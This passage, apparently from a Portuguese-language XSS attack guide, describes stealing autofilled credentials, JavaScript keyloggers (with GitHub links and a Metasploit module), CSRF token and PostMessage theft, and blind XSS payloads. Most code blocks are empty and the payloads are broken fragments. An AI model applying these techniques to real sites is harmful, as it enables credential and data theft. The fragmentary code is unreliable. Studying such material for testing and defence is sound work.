``` Quando qualquer dado é introduzido no campo de senha, o nome de usuário e a senha são enviados para o servidor do atacante, mesmo que o cliente selecione uma senha salva e não escreva nada, as credenciais serão exfiltradas. ### Keylogger Apenas procurando no Github, encontrei alguns diferentes: * [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) * [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) * [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger) * Você também pode usar o metasploit `http_javascript_keylogger` ### Roubo de tokens CSRF ```javascript ``` ### Roubo de mensagens PostMessage PostMessage é uma API do navegador que permite a comunicação entre janelas/frames de diferentes origens. Isso é muito útil para aplicativos da web que precisam se comunicar com outras partes do aplicativo em diferentes janelas/frames. No entanto, essa funcionalidade também pode ser explorada por um atacante para roubar mensagens PostMessage. O ataque funciona da seguinte maneira: o atacante injeta um script malicioso em uma página da web que envia mensagens PostMessage para outra janela/frame. O script malicioso intercepta essas mensagens e as envia para um servidor controlado pelo atacante. Dessa forma, o atacante pode roubar informações confidenciais que são transmitidas por meio de mensagens PostMessage. Para se proteger contra esse tipo de ataque, é importante validar todas as mensagens PostMessage recebidas e garantir que elas sejam originárias de uma fonte confiável. Além disso, é importante evitar o uso de mensagens PostMessage para transmitir informações confidenciais. ```markup ``` ### Abusando de Service Workers {% content-ref url="abusing-service-workers.md" %} [abusing-service-workers.md](abusing-service-workers.md) {% endcontent-ref %} ### Poliglotas {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %} ### Payloads de XSS Cego Você também pode usar: [https://xsshunter.com/](https://xsshunter.com) ```markup "> "> >Click Me For An Awesome Time "> ">